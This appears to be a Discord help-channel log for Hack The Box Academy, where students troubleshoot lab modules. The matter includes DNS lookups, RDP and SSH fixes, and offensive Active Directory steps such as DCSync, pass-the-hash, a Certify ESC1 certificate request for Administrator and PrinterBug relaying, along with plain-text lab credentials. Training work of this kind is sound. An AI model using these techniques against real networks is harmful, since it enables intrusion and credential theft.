;; SERVER: 194.168.4.100#53(194.168.4.100) (UDP)
;; WHEN: Tue Oct 15 14:59:05 BST 2024
;; MSG SIZE rcvd: 62

2. dig -x 134.209.24.248

; <<>> DiG 9.18.16-1~deb12u1~bpo11+1-Debian <<>> -x 134.209.24.248
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62366
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;248.24.209.134.in-addr.arpa. IN PTR

;; ANSWER SECTION:
248.24.209.134.in-addr.arpa. 1800 IN PTR inlanefreight.com.

;; Query time: 96 msec
;; SERVER: 194.168.4.100#53(194.168.4.100) (UDP)
;; WHEN: Tue Oct 15 15:01:36 BST 2024
;; MSG SIZE rcvd: 87

3. dig MX facebook.com

; <<>> DiG 9.18.16-1~deb12u1~bpo11+1-Debian <<>> MX facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63906
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;facebook.com. IN MX

;; ANSWER SECTION:
facebook.com. 1782 IN MX 10 smtpin.vvv.facebook.com.

;; Query time: 16 msec
;; SERVER: 194.168.4.100#53(194.168.4.100) (UDP)
;; WHEN: Tue Oct 15 15:02:31 BST 2024
;; MSG SIZE rcvd: 68

@quiet trout

[quiet trout]

you got it, the answers are there are you having trouble parsing the output?

[teal sparrow]

None of those answers are the same as what i entered last time for example the ip address for inlanefreight was 204.74.99.103

[quiet trout]

oh in that case yes, the DNS has changed

[teal sparrow]

okay thankyou i was just confused thats all

[quiet trout]

╰─ dig inlanefreight.com                                                     ─╯

; <<>> DiG 9.18.28-0ubuntu0.24.04.1-Ubuntu <<>> inlanefreight.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36377
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;inlanefreight.com.        IN    A

;; ANSWER SECTION:
inlanefreight.com.    300    IN    A    134.209.24.248

;; Query time: 79 msec
;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)
;; WHEN: Tue Oct 15 09:07:36 CDT 2024
;; MSG SIZE  rcvd: 62

[teal sparrow]

ur vpn all good?

ah

its prolly cuz u need to visit the right directory

like /lucky.php for the first exercise

[shut vapor]

You can configure SNMP to return the results of a script... but usually a lot of other stuff.

If you think working with snmp agents is weird, don't look at the config for snmp managers. Oof. 😅

[tame pulsar]

Yes It did change

[weak kindle]

Currently doing Kerberoast attack module. I'm stuck at
||Unconstrained delegation - Computers question no.2 as you can see the Ticket is already loaded but still failing to read the flag.|| Can someone help me?

[next bronze]

try using the fqdn

[fading violet]

One message removed from a suspended account.

One message removed from a suspended account.

[weak kindle]

fqdn where exactly? while reading the flag?

[acoustic owl]

Best to ask in #programming

read and follow #welcome

[quiet trout]

this is because of whatever you used to write it has created a partition that the image was written to, if you're doing this in windows use the disk management tool, if you're doing it in linux use gparted

[digital onyx]

a lack of sig in windef

[weak kindle]

Still getting this error? Can you elaborate more @next bronze ?

[next bronze]

which ticket did you import? dc01's?

[weak kindle]

Yeah after performing the printer attack

Also can I DM you to avoid any spoilers here in the chat?

[next bronze]

so what's the step after gettting dc's tgt in the module?

[weak kindle]

It says dcsync to get hashes of the users but I'm not able to perform dcsync

[next bronze]

why not

[weak kindle]

Wait let me try the attack once again and get back to you

[surreal chasm]

I didn't fully understand what is the difference between information schema and system schema and when we use it
(Related to MySQL)

[quiet trout]

or would i need to see traffic on the router for that info?

and/or traffic on the dns server?

[halcyon eagle]

would anyone be able to help me with the cicada machine?

[quiet trout]

#boxes

#welcome

[vivid sigil]

on Attacking Common Services - Easy

i have creds but when i auth by using mysql i got this

mysql -u f#### -p####### -h 10.129.203.7
ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1129 - Host '10.10.14.128' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'

does anyone know this

[shut vapor]

doesn't look familiar and I haven't got any notes suggesting I had to adjust how I connect to mysql for that assessment. Make sure the system is still up and the port is still open. You can try the "flush-hosts" command suggested or restart the lab even.

[vivid sigil]

ping 10.129.203.7
PING 10.129.203.7 (10.129.203.7) 56(84) bytes of data.
64 bytes from 10.129.203.7: icmp_seq=1 ttl=127 time=162 ms
64 bytes from 10.129.203.7: icmp_seq=2 ttl=127 time=162 ms

I also tried rdp but nothing

[vivid sigil]

i solved it

mysql -u ##### -p######## -h 10.129.85.156 --skip-ssl

[shut vapor]

I'll note it down. it could've been something I just tried and worked & forgot about it

[wet valve]

guys i am struggling with a HTB's problem about connections , please if anyone can help with this one .About module Windows :Attacks and Defence , cant connect via kali and then rdp to the static ips

[dim wolf]

depending on the section you're working on, you can't RDP/SSH to Kali

[wet valve]

i am struggling like 1 week now

yes on the section etc, PKI - ESC1

i want to RDP to the windows static machine via the kali (hack the box's kali ip)

i get the error : Authorization required, but no authorization protocol specified
[13:09:34:412] [3025:3025] [ERROR][com.freerdp.client.x11] - failed to open display: :10.0
[13:09:34:412] [3025:3025] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set.

every time , yes i did the step correct

[dim wolf]

are you SSHed to Kali?

[wet valve]

no rdp

cause its reccomended to rdp to kali if we gonna rdp then to another machine

[dim wolf]

you can try doing X11 forwarding

[wet valve]

static ips dont connect even under my kali with vpn file

[wet valve]

can you explain ?

[dim wolf]

SSH into Kali with the -X option

[wet valve]

okey

[dim wolf]

then try RDPing to WS001

[wet valve]

i am gonna be back with the results

thanks a lot by the way

[tame pulsar]

https://academy.hackthebox.com/module/18/section/1776

[wet valve]

Oh GOD

It WORKED

Take my money bro

[dim wolf]

nice

[trail willow]

do i need to have an external wifi adapter to complete Wi-Fi Penetration Testing Basics htb?

[wet valve]

too fast , lol i didnt worked , it closed and now i get the same error

[dim wolf]

no wifi hardware required

[wet valve]

xfreerdp /u:eagle\bob /p:Slavi123 /v:172.16.18.25 /dynamic-resolution
X11 connection rejected because of wrong authentication.
[13:45:26:927] [11610:11610] [ERROR][com.freerdp.client.x11] - failed to open display: localhost:10.0
[13:45:26:927] [11610:11610] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set.

might have to this variable to 11?

[dire jungle]

Hello

[dim wolf]

X11 connection rejected because of wrong authentication.

not sure what this means

[wet valve]

hmm...

[dire jungle]

After performing the previous attack, connect to DC1 (172.16.18.3) as 'htb-student:HTB_@cademy_stdnt!' and make the appropriate change to the registry to prevent the PrinterBug attack. Then, restart DC1 and try the same attack again. What is the error message seen when running dementor.py?

this question on Print Spooler & NTLM Relaying

i am trying to connect to the DC1 using the kali machine but it says this
xfreerdp /u:htb-student /p:HTB_@cademy_stdnt! /v:172.16.18.3 /dynamic-resolution
[13:46:56:688] [881:881] [ERROR][com.freerdp.client.x11] - failed to open display:
[13:46:56:689] [881:881] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set

[wet valve]

the same error with me

[dire jungle]

can anyone help me please i been stuck on this for the past 2 days

[wet valve]

Admins lol

[trail willow]

but if i run command iwconfig it shows "no wireless extensions"

[dim wolf]

i wonder what the issue is

i didn't have this issue when i was doing the module

[dim wolf]

i haven't done the module, so i can't tell you what's wrong

[trail willow]

Is their anyone else who completed this module>>>\

[wet valve]

a lot people have this issue

the main problem is that we cant connect to the static ips

[dim wolf]

something's wrong with getting the X11 display to work

[dire jungle]

wait i did it

i xfreerdp to the kali so i got access to the kali GUI

then from there xfreerdp to the DC1

i think the problem is that when sshing to the kali machine you are only getting the shell not the display

so a display wont open when trying xfreerdp elsewhere

[wet valve]

yes i cant do this also

[dim wolf]

that's why you put the -X option in your SSH command

which worked for Nemes1s and then it stopped working for some reason

[wet valve]

for just a sec with this parameter it worked but not too much

[dim wolf]

you can try switching VPNs maybe

[wet valve]

i couldnt access at windows in login page

didnt let me

[dim wolf]

maybe an instance spun up in a different region will not have the issue

or just contact support

[wet valve]

support does not contact with me

i have already said to them the issue

[dire jungle]

nemes1s

[wet valve]

yes

[dire jungle]

if you want we can get in call

and you can share the problem

[wet valve]

i changed the server now

[dire jungle]

share screen

[dire jungle]

oh OKAY didnt know that

[dim wolf]

and did they say anything back?

[wet valve]

┌──(root㉿kali)-[/home/kali]
└─# xfreerdp /u:eagle\bob /p:Slavi123 /v:172.16.18.25 /dynamic-resolution
Authorization required, but no authorization protocol specified
[14:02:03:014] [15639:15639] [ERROR][com.freerdp.client.x11] - failed to open display: :10.0
[14:02:03:014] [15639:15639] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set.

the same problem with the another server

[wet valve]

they said to me to wait 10 min in order the machines to load

but i am here more than 2 hours

[storm elk]

Try remmina

[wet valve]

i tried already

[storm elk]

Black screen?

[wet valve]

first of all remmina doesnt exists in kali machine

Hack the box"s machine

and when i go to download it doesnt download

[dim wolf]

@wet valve what user do you RDP as to Kali

i mean what's the credentials you use to RDP to Kali

[wet valve]

kali:kali

and the ip is from DHCP

[dim wolf]

then run xfreerdp as kali, not root

you don't need to be root on the kali box

you should be able to RDP to WS001 then

[wet valve]

brother it worked,

[manic pawn]

Hello Guys!I need help again 😅 I'm kinda stuck on the smtp section from footprinting, I can't figure out what's the "included Footprinting resource list". Can someone help me?

[wet valve]

the solution is that i must not connect when i am root

[dim wolf]

that's because root doesn't have the $DISPLAY variable set

[wet valve]

oh...

[dim wolf]

general rule of thumb is don't be root unless you absolutely need to be root

[wet valve]

thanks again for this service means a lot to me

[fallen fjord]

Hi guys anyone do skill assesment 1 in Active directory enum and exploitation module , IM stuck on the very last question, I performed DCsync with the user via mimikatz, I got administrator NTLM hash dump and pth is just not WORKING, i have my portfwd going to smb port, and I have tested by runing same payload from meterpreter by putting in the right credentials I receive access denied, when i purposely type wrong password I get the same error i keep getting when im trying pth .. anyone had this problem too,or is my lab buggy giving wriong hash been stuck at this, even had to look at walkthrough and they are also performing pth

[calm spire]

Hi guys, i am in the NTFS vs. Share Permissions submodule. And i am trying to mount to the share with the command provided by HTB which is (sudo mount -t cifs -o username=htb-student,password=Academy_WinFun! //ipaddoftarget/"Company Data" /home/user/Desktop/). I changed the ip addr to the ip of the target but when i run it i get this error: Couldn't chdir to /home/ThisPC/Desktop/: No such file or directory

But the i created the folder on the remote target with the exact same name "Company Data", but i still get the error

[fallen fjord]

If anyone cares I finally got it, SMB was the problem set up portfwd to 5985 and authenticated via evilwinrm also matched the NT hash with 000s:

[safe star]

check the resources on the top right

[quiet trout]

you've got some problems with your directory setup, you need to use the windows hostname as well as the username of the current user instead of ThisPc

open up a cmd.exe and type pwd and whoami to better understand the actual location you're targeting

[manic pawn]

I did

Oh, my bad, i was looking in cheat sheet 😭

[pallid spindle]

hi, i have a pretty stupid problem 😭 how do i turn on CMD on virtual machine (windows introduction module) because i dont have toolbar and windows + r is not working

[calm spire]

i copied the wrong one, but it should be /home/users/htb-student/Desktop then?

aah no wait

[quiet trout]

Your directory where company data is needs to be an smb share on the network. One that's actually shared. And your mount location I'm afk so I'm unsure at the moment I would ask chat gpt for a simplified example of the mount to demonstrate the process for you but you almost have it

[calm spire]

i have to change user to the user itself as well if im not mistaken

[golden gate]

guys is there a way to get streak saver without annual subscription

[calm spire]

Yes i already created it and shared it, ill see what i can find, thanks

[golden gate]

i have a student plan btw

[young flume]

hey someone can help me with Attacking GraphQL module and skills assessment i found a api key but there is no login page

[pallid spindle]

okay got it myself i just used windows powershell

[calm spire]

No i am not getting it, dont exactly know what im doing wrong. Im fried lol, need a break.

[azure wharf]

hello i need a little help. Im in the academy on Password Attacks and got smb credentials. These are correct and i can connect. but i cant navigate. it seems to be disabled. the ls o dir command is not function.
Bild

[safe star]

you dont have permissions

[oak kernel]

Hi, it feels like the "Web Services Description Language" section of "Web Service & API Attacks" module is outdated(?). The wordlist path does not match and it suggests using "dirb", which was not installed on my box. Is this the right place to "report" this? 🙂

[gilded radish]

okay

gobuster on my kali wasn't installed also, what's the point?

[oak kernel]

My point is, it's not possible to follow the instructions .. Which I assume is the intention of the module. That's all. 🙂

[gilded radish]

Can you send a screenshot of module and problem you got?

I mean an instrusction in module

[gilded radish]

okay...
"sudo apt install dirb"
i guess

You always can you another fuzzer

[oak kernel]

and a bit later it mentions the path ~/Desktop/... for the path for the wordlist(s) but it's really under /opt/useful/..

yeah I got around it... Just wanted to mention it if someone was interested in adjusting it

[frozen mesa]

Wi-Fi Penetration Testing Basics - Skills Assessment - last question

Connect to the WiFi network and submit the flag found at IP 192.168.2.1.

For some reason i cant connect. What do i miss? I've tried with config files, via GUI and Network manager. Got the SSID and password (these are the first two questions).

Anyone any hints?

[gilded radish]

try follow the path
cd /home
cd htb-ac......
cd Desktop
etc and find it

or you find
find / -type f -name "listname.txt"

it will show you the path to the list

[oak kernel]

yes I found it, my point was just that the path in the instructions was incorrect. But nevermind, I'll continue the course now. Thanks 🙂

[gilded radish]

It's not a mistake in module I mean, I guess you couldn't find it bc of "htb-acxxxxxx" part

Can you show the path you found and path in module, what's the diff?

[oak kernel]

Ok, path mentioned in the course: /home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt
Correct path (at least in my box instance): /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt
I have no "Useful Repos" directory under ~/Desktop

[gilded radish]

Okay then, you are right. Write a report to the #1234357888114364508 with typo tag

[oak kernel]

Oh, okay

[frozen mesa]

My config file:
||network=
ssid="SSID"
psk="password"
key_mgmt=WPA-PSK
}||

[gilded radish]

I have not done this module yet, but I believe you can read the module again and find smth useful

especially connect part

[frozen mesa]

Yes and i've tried all those methods but idont get the same results as i did with that module.

[gilded radish]

try google ot, there is alot tutorials how to hack wifi, maybe you will find smth useful

ask chatgpt

[frozen mesa]

Also the GUI option isnt available after bruteforcing. if i reboot the VM i can search for hidden networks via the GUI but i cannot connect.

[frozen mesa]

Asked GPT before i came here and those results also end in error 😦 most of them are equal to the module steps

[white cairn]

Hey anyone out there for hardware related stuff

I mean hardware hacking stuff

[gilded radish]

if still doesn't work reload your instance, you could break something on it

[gilded radish]

it's tier 3 modules

[white cairn]

Is it worth opting for as a career or rather as a firlf

Field

[low ore]

Hi Team, i was wondering if someone could point me in the right direction, im on question "Submit the NT hash associated with the Administrator user from the example output in the section reading. " In the Password Attacks, Attacking Active Directory & NTDS.dit Module, ive reviewed the on screen output and the relevant NT hash listed for the Administrator account and cracked it with Hashcat, and the password cracked is not the correct one, ive reviewed all other section of the material listed and cant find the correct NT has to crack i feel like im going insane, the hash im cracking is 64f12cdd***** if anyone could give me a nudge in the right direction id be grateful thank you

[old oasis]

It is worth it but very hard to get into unless you have a Computer Science or EE background. This said, keep discussions like these out of the #modules channel, since it's solely for help regarding academy modules.

[white cairn]

Roger

[plain trellis]

It's not asking you to crack just submit the hash as the answer.

[low ore]

i feel stupid now lol, thank you

[gilded radish]

<@&861185840277487616> I'm not sure, I guess its not allowed here

[urban sage]

Hey Bobby.b welcome!

This isn't a job board. It's a channel dedicated to discussion around modules on the HTB academy. I believe there is one dedicated to attacking wordpress which may be something you find useful. Otherwise, verify an account and you can ask the actual questions in #general or potentially #web.

[neat summit]

Im on Linux Fundamentals and im stuck on the "What is the name of the network interface that MTU is set to 1500?" and "Which kernel version is installed on the system? (Format: 1.22.3)". The answers from ifconfig/uname -v are wrong for some reaseon... Can someone help?

[dapper moth]

It's pretty copy and paste from the section with minor changes

[sleek moss]

hi guys is planning to GET CCNA + CTPS a good idea for job? like cybersec/pen test?

[frozen mesa]

A hint? Did try to replicate all the steps learned but still not able to connect to that hidden wifi 😢

[dapper moth]

Ah... Now I see it's the SA

Have you tried bypassing MAC Address filtering?

[wet valve]

module: Windows Attacks & Defense
PKI - ESC1
when i executed this comand PS C:\Users\bob\Downloads> .\Certify.exe request /ca:PKI.eagle.local\eagle-PKI-CA /template:UserCert /altname:Administrator. i get an error :
[X] Error sending the certificate request: System.Runtime.InteropServices.COMException (0x800706BA): CCertRequest::Submit: The RPC server is unavailable. 0x800706ba (WIN32: 1722 RPC_S _SERVER_UNAVAILABLE) at CERTCLILib.ICertRequest3. Submit(Int32 Flags, String strRequest, String strAttributes, String strConfig)
at Certify.Cert. SendCertificateRequest(String CA, String message)
at Certify.Cert. RequestCert(String CA, Boolean machineContext, String templateName, String subject, String altName, Boolean install)

PS C:\Users\bob\Downloads> .\Certify.exe request /ca:PKI.eagle.local\eagle-PKI-CA /template:UserCert /altname:Administrator

i get an error :
[X] Error sending the certificate request: System.Runtime.InteropServices.COMException (0x800706BA): CCertRequest::Submit: The RPC server is unavailable. 0x800706ba (WIN32: 1722 RPC_S _SERVER_UNAVAILABLE) at CERTCLILib.ICertRequest3. Submit(Int32 Flags, String strRequest, String strAttributes, String strConfig)
at Certify.Cert. SendCertificateRequest(String CA, String message)
at Certify.Cert. RequestCert(String CA, Boolean machineContext, String templateName, String subject, String altName, Boolean install)

[wintry raptor]

Anyone have/know of a link that would immediately crash the connected local internet?

[safe star]

yeah, indeed.com

[toxic moon]

Anyone know the basics of hacking to tutor me?

[calm spire]

Guys a question, maybe an obvious one but why do we connect with the vpn by using openvpn if we (in some modules) directly interact with the target machine's IP? Is it to create a secure and encrypted tunnel while we interact with the machine? Trying to see if i understand the why.

[old oasis]

You connect with the VPN when you are using your own VM. If you using the pwnbox then its already connected to the network that the target machine is in so you don't need it in that case.

[calm spire]

Thanks for the answer. This i understand but my question was more pertaining to the why, is it to create a secure tunnel with point A and point B? And thus encrypting the traffic in between devices?

[old oasis]

Yes, this ensures that any data transmitted between you and the target is encrypted, preventing eavesdropping or interception by third parties.

[calm spire]

So my thought pattern was correct, thanks for this!

[manic laurel]

Possibly a dumb question and I apologize, but I'm currently in the Linux fundamentals module I'm just starting. I'm in the create a time section but when I try to run sudo mkdir /etc/system etc.. it asks for the sudo password for htb-student. I tried the password I used to connect with my VM on the ssh but it says I'm not on the sudoers file and will be reported. Should I just try this block using the pwn box is that my issue?

[safe star]

you can do it on pwnbox but, ssh doesnt need sudo to work here

you also need to add your user to sudoers file for future sudo commands tho

[manic laurel]

Ah okay I probably missed that step. Where can I find the directions to do that?

[safe star]

wait what are u on?

are u on pwnbox or vm?

[manic laurel]

I'm on a vm

[safe star]

dm a pic of the ssh command

[manic laurel]

I may have been confusing with my question. I've successfully made the ssh connection with the htb login, but I'm trying to make a directory for the Task Scheduling section, and when I try the mkdir command it's asking for a sudo password

[safe star]

oh, i thought you couldnt connect

what section is that @manic laurel

[old oasis]

do you need to create a directory for that section?

[safe star]

are u supposed to create it?

[manic laurel]

i thought i was supposed to follow along with these

[old oasis]

read the question

[violet prawn]

I have a question I'm really struggling with on a linux fundamentals module. The question is "How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)

I ran: netstat -4tln | grep -v '127.0.0.1' | grep LISTEN | wc -l

and the number was 8. But the answer was incorrect.

[old oasis]

oh you mean you are following along and you havn't reached the question yet? Some stuff you can't follow along one-to-one in the pwn box

[safe star]

i think thats more on your own machine if you wanted to set that up

[manic laurel]

@old oasis that makes sense thanks for the assistance

[manic laurel]

try subtracting your answer by one and entering that

[violet prawn]

woahhhhhh can you explain why that was correct?

Thank you btw @manic laurel

[manic laurel]

The way I understood it was it lists one of the services twice

you can see that if you see the list in column and not just the number

[violet prawn]

It's kind of breaking my brain as to why it would liste it twice and how would someone with little to no experience know this.

Thats my mistake, i should have done column

[manic laurel]

man, thers been alot of stuff they want us to answer and they don't teach the best way to find it till a section or 2 later haha

kinda frustrating at times

still fun though

[violet prawn]

it is really fun learning, but yes, incredibly difficult at times.